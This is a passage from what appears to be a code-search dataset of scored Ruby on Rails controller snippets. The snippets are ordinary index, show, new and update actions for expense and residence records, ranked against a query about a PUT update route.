"docid": "adba7189be3b68bb0e5fcad5787492ee",
"score": "0.6412968",
"text": "def new\n @expense = Expense.new\n @users = User.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "0d74007ad9cb1a6b0c0205026533eaab",
"score": "0.6405536",
"text": "def show\n @expense_entry = ExpenseEntry.with_deleted.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_entry }\n end\n end",
"title": ""
},
{
"docid": "85e6385d29fb0ac9c2948be843f2fad2",
"score": "0.6400276",
"text": "def index\n @expense_items = ExpenseItem.all\n end",
"title": ""
},
{
"docid": "fea7dc0a252ed54faef5ad46eae8911f",
"score": "0.6400062",
"text": "def show\n @expense = Expense.find params[:id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"title": ""
},
{
"docid": "521d09bd84c0975cec7d04b7b79b994f",
"score": "0.63990307",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "b026cc08291da354ffa6ee7cbfda0f83",
"score": "0.6398824",
"text": "def index\n# @expenses = Expense.all\n# @expenses = Expense.where(:user_id => current_user).paginate(:page => params[:page], :per_page => 10)\n @expenses = Expense.where(:user_id => current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n end\n end",
"title": ""
},
{
"docid": "1a15dde4553f32b3d0ab21ba625fba11",
"score": "0.6386907",
"text": "def new\n load_selections\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "c2175933fc20fb17e7f9e88043f30bb7",
"score": "0.63842565",
"text": "def index\n @expenses_pending = Expense.where(status: 'pending')\n @expenses_approved = Expense.where(status: 'approved')\n end",
"title": ""
},
{
"docid": "737595675e8c10051713d3c1b2f9617e",
"score": "0.63838136",
"text": "def new\n @expense = current_user.household.expenses.new(\n created_by_roommate_id: current_user.id,\n roommate_id: current_user.id\n )\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "efe80936daf116ef89549ae89281ee03",
"score": "0.63731676",
"text": "def new\n @expense = Expense.new\n @employees = Employee.all\n @expense_types = ExpenseType.all\n @payment_modes = PaymentMode.all\n @vendors = Vendor.all\n @expense_states = ExpenseState.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "72c8636a0a897ccbcbad2249511763b8",
"score": "0.6371281",
"text": "def index\n @dog_expenses = DogExpense.all\n end",
"title": ""
},
{
"docid": "bfa705e0adedb9eaf68c4c23571350a0",
"score": "0.63641244",
"text": "def index\n @material_expenses = MaterialExpense.all\n end",
"title": ""
},
{
"docid": "421a364da2c26270898a30f4136ed75f",
"score": "0.63622016",
"text": "def show\n @expense_report = ExpenseReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_report }\n end\n end",
"title": ""
},
{
"docid": "87adb3a868c0214187f7e7b35abe959b",
"score": "0.6350585",
"text": "def index\n # @expenses = Expense.all\n # @expenses = Expense.page(params[:page]).order(:id)\n # indexであっても検索フォームを出すので、まずはnewメソッドでフォーム準備\n # そのあと、searchをコールして検索結果表示\n @expense = Search::Expense.new\n end",
"title": ""
},
{
"docid": "41fa2808b72f2b67abf6f831a172cff7",
"score": "0.6337837",
"text": "def show\n @user_expence = UserExpence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_expence }\n end\n end",
"title": ""
},
{
"docid": "ad6b13ed026cdcd436a5a0d262684bac",
"score": "0.63312733",
"text": "def new\n @expense = Expense.new_blank(current_user)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"title": ""
},
{
"docid": "b70f668beb25dbc61157f9ced74a69b5",
"score": "0.6321943",
"text": "def index\r\n # Zusätzliche Authorisierung, damit nicht leere Ausgabenliste, sondern Exception geworfen wird\r\n authorize! :index, @coffee_box.expenses.build\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @expenses }\r\n end\r\n end",
"title": ""
},
{
"docid": "6ca704ce505eb1039da887cb3729fb14",
"score": "0.63219",
"text": "def index\n @expense_entry ||= current_user.expense_entries.build(\n :tdate => Date.today\n )\n \n @expense_entries = current_firm.all_expense_entries\n\n respond_to do |format|\n format.html { render :index }# index.html.erb\n format.json { render json: @expense_entries }\n end\n end",
"title": ""
},
{
"docid": "cd3e089b83901044f79d2682ae038fe3",
"score": "0.6321191",
"text": "def index\n @lenses = Lense.all\n end",
"title": ""
},
{
"docid": "1233d0fed3a785e5c2a95671e04b8064",
"score": "0.631125",
"text": "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @expense.to_xml }\n end\n end",
"title": ""
},
{
"docid": "6c66b7e167a47c51d561c0a1fadef471",
"score": "0.63107276",
"text": "def index\n if current_user.has_role?('admin', current_mine)\n @expenses = Expense.where(mine_id: current_mine.id, status: 'pending').order('created_at DESC').by_month\n else\n @expenses = Expense.where(mine_id: current_mine.id, status: 'approved').order('created_at DESC').by_month\n end\n @expense_requests = Expense.where(mine_id: current_mine.id).order('created_at DESC').by_month\n gon.watch.expenses = @expenses\n @tunnels = @current_mine.tunnels;\n respond_to do |format|\n format.html \n format.json { render json: @expenses.as_json(:include => [:tunnels, :user] ) }\n end\n end",
"title": ""
},
{
"docid": "eea6b1c1a84e43071e68c9d1c7e62fb9",
"score": "0.63016206",
"text": "def index\n @expenses = current_user.couple.expenses\n load_users\n end",
"title": ""
},
{
"docid": "f750851b6bd22c476eec4ac2519c9d9d",
"score": "0.63012326",
"text": "def show\r\n @expense = Expense.find(params[:id])\r\n @debts = @expense.debts\r\n @reminder = @expense.reminder\r\n @comments = @expense.comments\r\n @user = current_user\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @expense }\r\n format.json { render json: @debts }\r\n end\r\n end",
"title": ""
},
{
"docid": "f8daca825a68d2f964f4643fe045b06d",
"score": "0.6280388",
"text": "def show\n @admin_expense_category = Admin::ExpenseCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_expense_category }\n end\n end",
"title": ""
}
] |
9002e97babb4487600b32f6d6a1bca5b
|
PUT /residenciais/1 PUT /residenciais/1.json
|
[
{
"docid": "6e2212a1bf3fe2d5bff8d9959691ca8f",
"score": "0.0",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n #format.html { redirect_to [@user.apartamento.residencial, @user.apartamento, @user], notice: 'User foi atualiazado com sucesso.' }\n format.html { redirect_to edit_residencial_apartamento_user_path(@user.apartamento.residencial, @user.apartamento, @user), notice: 'User foi atualiazado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "1841e61c7cd7870c997fccf3f0dc370d",
"score": "0.68651193",
"text": "def update\n respond_to do |format|\n if @residencia.update(residencia_params)\n format.html { redirect_to [@programa, @residencia], notice: 'residencia was successfully updated.' }\n format.json { render :show, status: :ok, location: [@programa, @residencia] }\n else\n format.html { render :edit }\n format.json { render json: @residencia.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5aa66fc140e6dbf4c49fe1eb334e9a1d",
"score": "0.6538332",
"text": "def update\r\n @asistencia = Asistencia.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @asistencia.update_attributes(params[:asistencia])\r\n format.html { redirect_to @asistencia, notice: 'Asistencia was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @asistencia.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "95db6e768803a2f7299c9fbe3b15cd20",
"score": "0.6511941",
"text": "def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"title": ""
},
{
"docid": "8565b9ed6af37ff2131471f96a855df2",
"score": "0.6471371",
"text": "def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "da45fd7c56f78d0e2ff70479a30d0180",
"score": "0.6447102",
"text": "def update\n respond_to do |format|\n if @residential.update(residential_params)\n format.html { redirect_to @residential, notice: 'Residential was successfully updated.' }\n format.json { render :show, status: :ok, location: @residential }\n else\n format.html { render :edit }\n format.json { render json: @residential.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b5ff277a3171785cda3072bf29bf58b",
"score": "0.64240193",
"text": "def update\n respond_to do |format|\n if @restora.update(restora_params)\n format.html { redirect_to @restora, notice: 'Restora was successfully updated.' }\n format.json { render :show, status: :ok, location: @restora }\n else\n format.html { render :edit }\n format.json { render json: @restora.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1fb7bad0a446b2ff3d4938b58ec63555",
"score": "0.6386726",
"text": "def update\n @requerimiento = Requerimiento.find(params[:id])\n\n respond_to do |format|\n if @requerimiento.update_attributes(params[:requerimiento])\n format.html { redirect_to \"#{requerimientos_path}/#{@requerimiento.numero}\", notice: 'Requerimiento was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @requerimiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cbca196c349e885e07f317fb8a2624a6",
"score": "0.6383578",
"text": "def update\n @respuesta = Respuesta.find(params[:id])\n\n if @respuesta.update(params[:respuesta])\n head :no_content\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c01db10abad72a6d5b679d987dae87fa",
"score": "0.6347132",
"text": "def update\n respond_to do |format|\n if @resi.update(resi_params)\n format.html { redirect_to @resi, notice: 'Resi was successfully updated.' }\n format.json { render :show, status: :ok, location: @resi }\n else\n format.html { render :edit }\n format.json { render json: @resi.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1542343a5d2b472617431e0a4f723604",
"score": "0.63433397",
"text": "def update\n respond_to do |format|\n if @resist.update(resist_params)\n format.html { redirect_to @resist, notice: 'Resist was successfully updated.' }\n format.json { render :show, status: :ok, location: @resist }\n else\n format.html { render :edit }\n format.json { render json: @resist.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "daa4230be4f80775401ba7a72ef3ba13",
"score": "0.6280605",
"text": "def update\n\t\trespond_to do |format|\n\t\t\tif @residence.update(residence_params)\n\t\t\t\tformat.html { redirect_to @residence, notice: 'La residencia se actualizo correctamente.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @residence }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @residence.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "074baea2e916200b40e2ea70d5dd2977",
"score": "0.62722516",
"text": "def update\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n if @sitio_entrega.update_attributes(params[:sitio_entrega])\n format.html { redirect_to @sitio_entrega, notice: 'Sitio entrega was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sitio_entrega.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5ba1e573fca43b27ce353ecaf4ea1445",
"score": "0.6250774",
"text": "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"title": ""
},
{
"docid": "5ba1e573fca43b27ce353ecaf4ea1445",
"score": "0.6250774",
"text": "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"title": ""
},
{
"docid": "a1c3dc2b48b809bb3c573b6f22be831a",
"score": "0.6245943",
"text": "def update\n @reconocimiento = Reconocimiento.find(params[:id])\n\n respond_to do |format|\n if @reconocimiento.update_attributes(params[:reconocimiento])\n format.html { redirect_to @reconocimiento, :notice => 'Reconocimiento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @reconocimiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64ddf6c6386165fd4a60fb248db51d93",
"score": "0.62296194",
"text": "def update\n respond_to do |format|\n if @objeto.update(requisito_params)\n format.html { redirect_to @objeto, notice: \"Requisito was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f3147e65e7dab14a114aa74e795da22a",
"score": "0.62213635",
"text": "def update\n @safra_verdoso = SafraVerdoso.find(params[:id])\n\n respond_to do |format|\n if @safra_verdoso.update_attributes(params[:safra_verdoso])\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safra_verdoso.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a57f3ad6adfdcf978b364e04d6314ac",
"score": "0.62210053",
"text": "def update\n @selecao = Selecao.find(params[:id])\n\n respond_to do |format|\n if @selecao.update_attributes(params[:selecao])\n format.html { redirect_to @selecao, notice: 'Selecao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @selecao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "77bded7880eb73001ad21220f8b43c02",
"score": "0.62098897",
"text": "def update\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n if @solicitud_servicio.update_attributes(params[:solicitud_servicio])\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a38799e1c0229700f1b7abf61121b177",
"score": "0.6199145",
"text": "def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab4f764180bfdf92f69e5fe3069951d5",
"score": "0.6187382",
"text": "def update\n respond_to do |format|\n if @solicitud.update(solicitud_params)\n format.html { redirect_to @solicitud, notice: 'Solicitud was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "620d59798b698aa9acfe767955de35ee",
"score": "0.6176432",
"text": "def update\n respond_to do |format|\n if @registro_servicio.update(registro_servicio_params)\n format.html { redirect_to @registro_servicio, notice: 'Servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @registro_servicio }\n else\n format.html { render :edit }\n format.json { render json: @registro_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0f7c61a5262e59919a212f4fb285ce7f",
"score": "0.61744714",
"text": "def update\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n if @respuesta.update_attributes(params[:respuesta])\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1dea1e3fe2651bfb44c2a8469f9eaa2a",
"score": "0.6173541",
"text": "def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cff2c405be858810e20ff1d9b21794b2",
"score": "0.6172011",
"text": "def update\n respond_to do |format|\n if @resa.update(resa_params)\n format.html { redirect_to edit_resa_path(@resa), notice: 'Resa was successfully updated.' }\n format.json { render json: @resa, status: :accepted }\n\n else\n format.html { render action: 'edit' }\n format.json { render json: @resa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9e23492e0c331c7ee2846ca79a5f1d2e",
"score": "0.6167145",
"text": "def update\n respond_to do |format|\n if @resident.update(resident_params)\n format.html { redirect_to residents_path, notice: 'Resident was successfully updated.' }\n format.json { render :show, status: :ok, location: @resident }\n else\n format.html { render :edit }\n format.json { render json: @resident.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "120cbe84cee33df8e3d394f57c0bc336",
"score": "0.6166506",
"text": "def update\n respond_to do |format|\n if @reparticao.update(reparticao_params)\n format.html { redirect_to @reparticao, notice: 'Reparticao was successfully updated.' }\n format.json { render :show, status: :ok, location: @reparticao }\n else\n format.html { render :edit }\n format.json { render json: @reparticao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db6b4cf47aad145f986c5823260bb10e",
"score": "0.6165388",
"text": "def update\n #parametros_autocomplete!(params[:estudiante][:persona])\n @estudiante = Estudiante.find(params[:id])\n \n begin\n @estudiante.persona_id = params[:persona][:id]\n rescue\n end\n\n respond_to do |format|\n if @estudiante.update_attributes(params[:estudiante])\n format.html { redirect_to @estudiante, notice: 'Estudiante actualizado' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estudiante.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "33efd1c46f594864bfb0abd9bea68442",
"score": "0.6162489",
"text": "def update\n respond_to do |format|\n if @solicitacoes_avaliacoes_servico.update(solicitacoes_avaliacoes_servico_params)\n format.html { redirect_to @solicitacoes_avaliacoes_servico, notice: 'Solicitacoes avaliacoes servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @solicitacoes_avaliacoes_servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7f728f32659409b7b558b7a40906b539",
"score": "0.61499137",
"text": "def update\n respond_to do |format|\n if @inscricao.update(inscricao_params)\n format.html { redirect_to @inscricao, notice: \"Inscricao was successfully updated.\" }\n format.json { render :show, status: :ok, location: @inscricao }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @inscricao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3954c0350d96de056b980deb2139ba12",
"score": "0.6143807",
"text": "def update\n @consulta = Consulta.find(params[:id])\n\n if @consulta.update(params[:consulta])\n head :no_content\n else\n render json: @consulta.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "549d89401e82952784a7adcc3a764272",
"score": "0.61410475",
"text": "def update\n @residence = Residence.find(params[:id])\n\n respond_to do |format|\n if @residence.update_attributes(params[:residence])\n format.html { redirect_to @residence, notice: 'Residence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @residence.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "320ad4f6f3983ccce8c9b040da8aa168",
"score": "0.6140383",
"text": "def update\n respond_to do |format|\n if @inscricao.update(inscricao_params)\n format.html { redirect_to @inscricao, notice: 'Inscricao was successfully updated.' }\n format.json { render :show, status: :ok, location: @inscricao }\n else\n format.html { render :edit }\n format.json { render json: @inscricao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "12faf70207ae533ec70a6f13e34e9a58",
"score": "0.61397135",
"text": "def update\n @frais_repa = FraisRepa.find(params[:id])\n\n respond_to do |format|\n if @frais_repa.update_attributes(params[:frais_repa])\n format.html { redirect_to @frais_repa, :notice => 'Le frais de repas a bien été modifé' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @frais_repa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "87738e772151dfcf78b9186b6d415331",
"score": "0.6139606",
"text": "def update\n respond_to do |format|\n if @registro.update(registro_params)\n format.html { redirect_to @registro, notice: \"Registro was successfully updated.\" }\n format.json { render :show, status: :ok, location: @registro }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @registro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "df2e8406880c08a490daa7936da0d2da",
"score": "0.6138303",
"text": "def update\n @sugerencia = Sugerencia.find(params[:id])\n\n respond_to do |format|\n if @sugerencia.update_attributes(params[:sugerencia])\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ee290653d732cff93cca3bf949ba30b",
"score": "0.61378545",
"text": "def update\n respond_to do |format|\n if @registro.update(registro_params)\n format.html { redirect_to @registro, notice: 'Registro was successfully updated.' }\n format.json { render :show, status: :ok, location: @registro }\n else\n format.html { render :edit }\n format.json { render json: @registro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "768aca740025dc0d992658e17d94dc8b",
"score": "0.61269283",
"text": "def update\n respond_to do |format|\n if @restricao.update(restricao_params)\n format.html { redirect_to @restricao, notice: 'Restrição foi Editada com Sucesso!' }\n format.json { render :show, status: :ok, location: @restricao }\n else\n format.html { render :edit }\n format.json { render json: @restricao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5131ed1cf45b626a8157dadd1358ecaf",
"score": "0.61239964",
"text": "def update\n respond_to do |format|\n if @solicitud.update(solicitud_params)\n format.html { redirect_to @solicitud, notice: \"Solicitud was successfully updated.\" }\n format.json { render :show, status: :ok, location: @solicitud }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "883e83ae6c18c070ec59b56c04a5ceb7",
"score": "0.612265",
"text": "def update\n respond_to do |format|\n if @resto.update(resto_params)\n format.html { redirect_to @resto, notice: 'Entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @resto }\n else\n format.html { render :edit }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1186ba84231fa4e8298aee0c6734849b",
"score": "0.6119132",
"text": "def update\r\n respond_to do |format|\r\n if @sivic_rede.update(sivic_rede_params)\r\n format.html { redirect_to @sivic_rede, notice: 'Rede foi alterada com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_rede.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "d7ded070d69fcb99e6bdc4c6041b0867",
"score": "0.61144567",
"text": "def update\n authorize! :update_almacen,Sigesp::Solicitud\n if @sigesp_solicitud.update(sigesp_solicitud_alamcen_params)\n return render json: { url: sigesp_solicitudsalmacen_path(@sigesp_solicitud)} \n else\n return render json:@sigesp_solicitud.errors ,status: :unprocessable_entity\n end \n end",
"title": ""
},
{
"docid": "56279b46218d92972cfb0ef7bbb7e265",
"score": "0.6109059",
"text": "def update\n respond_to do |format|\n if @reentrada.update(reentrada_params)\n format.html { redirect_to @reentrada, notice: 'Reentrada was successfully updated.' }\n format.json { render :show, status: :ok, location: @reentrada }\n else\n format.html { render :edit }\n format.json { render json: @reentrada.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f44534e84843ac57f3f4141c556da1bf",
"score": "0.6107223",
"text": "def update\n respond_to do |format|\n if @solicitud.update(solicitud_params)\n format.html { redirect_to @solicitud, notice: 'Solicitud was successfully updated.' }\n format.json { render :show, status: :ok, location: @solicitud }\n else\n format.html { render :edit }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bfa4055847d2a1f6a9352e1e926c1d38",
"score": "0.6107222",
"text": "def update\n @ore = Ore.find(params[:id])\n \n respond_to do |format|\n if @ore.update_attributes(params[:ore])\n format.html { redirect_to @ore, notice: 'Ore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ore.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6fa5979cf5ca6559fd05a4447dd7f203",
"score": "0.61054623",
"text": "def update\n @seguro = Seguro.find(params[:id])\n\n respond_to do |format|\n if @seguro.update_attributes(params[:seguro])\n format.html { redirect_to @seguro, notice: 'Seguro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @seguro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "314bd7950d01a427a311a7451a97a561",
"score": "0.6101539",
"text": "def set_residuo\n @residuo = Residuo.find(params[:id])\n end",
"title": ""
},
{
"docid": "84f2d68dc84d9c8be9bb908304afea8f",
"score": "0.609938",
"text": "def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1e6b01aa6f5213a76147e4e734c100ee",
"score": "0.6095563",
"text": "def update\n respond_to do |format|\n if @residente.update(residente_params)\n format.html { redirect_to @residente, notice: 'Residente was successfully updated.' }\n format.json { render :show, status: :ok, location: @residente }\n else\n format.html { render :edit }\n format.json { render json: @residente.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "611b22c56519a76188fe0b09b08a279c",
"score": "0.60936093",
"text": "def update\n respond_to do |format|\n if @ocorrencia.update(ocorrencia_params)\n format.html { redirect_to @ocorrencia, notice: 'Ocorrencia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ocorrencia.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d468cbae09060de9537e60174e174612",
"score": "0.6092883",
"text": "def update\n @roadcrime = Roadcrime.find(params[:id])\n\n respond_to do |format|\n if @roadcrime.update_attributes(params[:roadcrime])\n format.html { redirect_to @roadcrime, notice: 'Roadcrime was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @roadcrime.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2961463c279341e53c5324264e16f565",
"score": "0.60911316",
"text": "def update\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n if @recurso.update_attributes(params[:recurso])\n format.html { redirect_to @recurso, notice: 'O recurso de auto de infração foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recurso.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1c4ccffd55cd94db38992a3549685657",
"score": "0.60887575",
"text": "def update\n @situacion_revistum = SituacionRevistum.find(params[:id])\n\n respond_to do |format|\n if @situacion_revistum.update(situacion_revistum_params)\n format.html { redirect_to @situacion_revistum, notice: 'Situacion revistum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @situacion_revistum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f3b1bca94e4b34fb057aa89de329a566",
"score": "0.6085723",
"text": "def update\n respond_to do |format|\n if @corrida.update(corrida_params)\n format.html { redirect_to @corrida, notice: 'Corrida actualizada correctamente.' }\n format.json { render :show, status: :ok, location: @corrida }\n else\n format.html { render :edit }\n format.json { render json: @corrida.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a621061990cf886fc0361e575d91459c",
"score": "0.608193",
"text": "def update\n respond_to do |format|\n if @solicitacao_repass.update(solicitacao_repasse_params)\n format.html { redirect_to @solicitacao_repass, notice: \"Solicitacao repasse was successfully updated.\" }\n format.json { render :show, status: :ok, location: @solicitacao_repass }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @solicitacao_repass.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36fd0d228d411db5373eb93fa3822431",
"score": "0.6081665",
